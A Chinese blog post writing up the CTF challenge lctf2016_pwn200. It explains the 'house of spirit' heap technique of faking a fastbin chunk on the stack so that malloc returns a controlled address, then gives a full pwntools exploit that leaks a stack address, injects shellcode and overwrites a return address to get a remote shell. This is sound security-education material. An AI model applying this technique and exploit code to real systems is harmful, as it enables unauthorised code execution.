[pwn][堆利用]house of spirit[例题:lctf2016_pwn200]

House of spirit

  • 实现目的

    • malloc分配到目标地址
  • 实现条件

    • free的参数可控
    • 目标地址可以连续构造两个fake chunk的size域,需要地址对齐(即目标高低地址处均有可控区域)
  • 实现方法

    • 在目标地址伪造可以被释放到fastbin上的fake chunk
    • 伪造fake chunk的同时伪造好其下一个chunk(物理上的)的size域
    • 将目标地址作为参数free
    • malloc一次,将返回指向目标地址的指针
  • 实现实例

    • 题目平台

      • buuctf
    • 题目名称

      • lctf2016_pwn200
    • 分析步骤

      • 常规检查
        [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ZGWUcZVl-1605921887806)(./spirit/spirit1.jpg)]

      防护全闭

      • 逐步分析

      [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-au9t7mcv-1605921887809)(./spirit/spirit2.jpg)]

      输入名字时没有溢出,但是存在泄露

      [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-naKtLCMF-1605921887813)(./spirit/spirit3.jpg)]

      根据栈帧结构,被泄露的地方应该是rbp

      ![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Euc9jQFF-1605921887816)(./spirit/spirit4.jpg)]]

      经过gdb调试,确认是rbp,我们可以通过被泄露的rbp推算其他栈上的地址了

      [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-HGmd550m-1605921887818)(./spirit/spirit5.jpg)]

      继续分析,在获取id时仅能输入三位,并且只能输入数字

      ida伪c代码中有一部分并没有显示完全
      [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-bmVJjrKR-1605921887820)(./spirit/spirit6.jpg)]

      尽管看上去get_id的返回值没有被保存
      但事实上……
      [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-21LLWIDd-1605921887821)(./spirit/spirit7.jpg)]

      从汇编代码可以看出,get_id的值被保存在了name的上面
      [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-osaNoz3B-1605921887822)(./spirit/spirit8.jpg)]

      进入get_money
      [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-HzJ8YLSp-1605921887822)(./spirit/spirit9.jpg)]

      首先malloc了一个0x40的chunk,向其中输入最多0x40个字 节,然后将chunk位置保存在全局变量ptr中

      在向chunk中读入内容时存在溢出

      [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-xzoKT1Sy-1605921887823)(./spirit/spirit10.jpg)]

      [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-eyo21Fsh-1605921887824)(./spirit/spirit11.jpg)]

      [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-bGVKu6Wk-1605921887825)(./spirit/spirit12.jpg)]

      可以修改被保存在ptr上的chunk位置

      [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-b1DCS5Fm-1605921887826)(./spirit/spirit13.jpg)]

      在用户选单中,选择out会把ptr上保存的chunk立即free掉,并将ptr置零,选择in会检测ptr是否为0,如果为0则malloc一个大小在0~0x80内的chunk

      通过对伪代码的分析,可以发现程序的结构是函数一个个的调用,这种结构很容易造成返回地址的低地址和高地址可控。同时,由于第一次申请chunk时存在的溢出,可以控制一次free的参数,满足house of spirit的条件

      [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-EEcuPjCB-1605921887826)(./spirit/spirit14.jpg)]

      在gdb调试的过程中可以发现,0x7fffffffdf78保存了我们输入的id,而0x7fffffffdf10保存了我们输入第一个堆块的内容,0x7fffffffdf10往下0x40个字节都是我们的可控位置,在二者之间保存了get_money的返回地址

      • 此时完整的攻击思路出来了
        • 利用get_name处的泄漏点获取栈地址,并写入shellcode
        • 在get_id处伪造fake chunk的下一个chunk(物理上的)的saze域
        • 在get_money处伪造fake chunk并利用溢出改写ptr上的值为fake chunk的地址
        • free fake chunk
        • malloc回来,改写返回地址为shellcode
        • 选择退出,触发被改写的返回地址,执行shellcode
        • getshell

      • 按照思路编写writeup
        • 泄露栈地址,写入shellcode
          pay=asm(shellcraft.amd64.linux.sh(),arch="amd64")
          p.sendafter("who are u?",pay)
          p.recvuntil(pay)
          stack_add=u64(p.recvuntil(",")[:-1].ljust(8,"\x00"))
          print "stack add="+hex(stack_add)
          fake_chunk=stack_add-0xb0
          name_add=stack_add-0x50
          
        • 伪造fake chunk以及其后的chunk size
          p.sendlineafter("give me your id ~~?","97")
          pay="\x00"*8+p64(0x61)+"\x00"*0x28+p64(fake_chunk)
          p.sendafter("give me money~",pay);
          
        • free然后malloc回来
          p.sendlineafter("your choice :","2")
          p.sendlineafter("your choice :","1")
          p.sendlineafter("how long?","80")
          pay="\x00"*0x38+p64(name_add)
          p.sendlineafter("give me more money :",pay);
          
        • getshell
          p.sendlineafter("your choice :","3")
          
      • 完整wp
      from pwn import*
      from LibcSearcher import*
      context(arch='amd64',os='linux',log_level='debug')
      #p=process("./1")
      p=remote('node3.buuoj.cn','29646')
      elf=ELF("./1")
      
      pay=asm(shellcraft.amd64.linux.sh(),arch="amd64")
      p.sendafter("who are u?",pay)
      p.recvuntil(pay)
      stack_add=u64(p.recvuntil(",")[:-1].ljust(8,"\x00"))
      print "stack add="+hex(stack_add)
      fake_chunk=stack_add-0xb0
      name_add=stack_add-0x50
      
      p.sendlineafter("give me your id ~~?","97")
      pay="\x00"*8+p64(0x61)+"\x00"*0x28+p64(fake_chunk)
      p.sendafter("give me money~",pay);
      
      p.sendlineafter("your choice :","2")
      p.sendlineafter("your choice :","1")
      p.sendlineafter("how long?","80")
      pay="\x00"*0x38+p64(name_add)
      p.sendlineafter("give me more money :",pay);
      p.sendlineafter("your choice :","3")
      
      p.interactive()
      
      • 运行效果
        [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-QGLOdfLj-1605922017968)(./spirit/spirit15.jpg)]
  • 总结:house of spirit的原理是绕过free到fastbin上的检查,使得一块本来我们不具有写能力的内存被malloc返回。这种漏洞点容易出现在一个函数调用另一个函数,并且两个函数在栈上都有可控区间的情况下,在这种情况下,我们可以通过house of spirit获得修改返回地址的能力,从而劫持程序流。

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值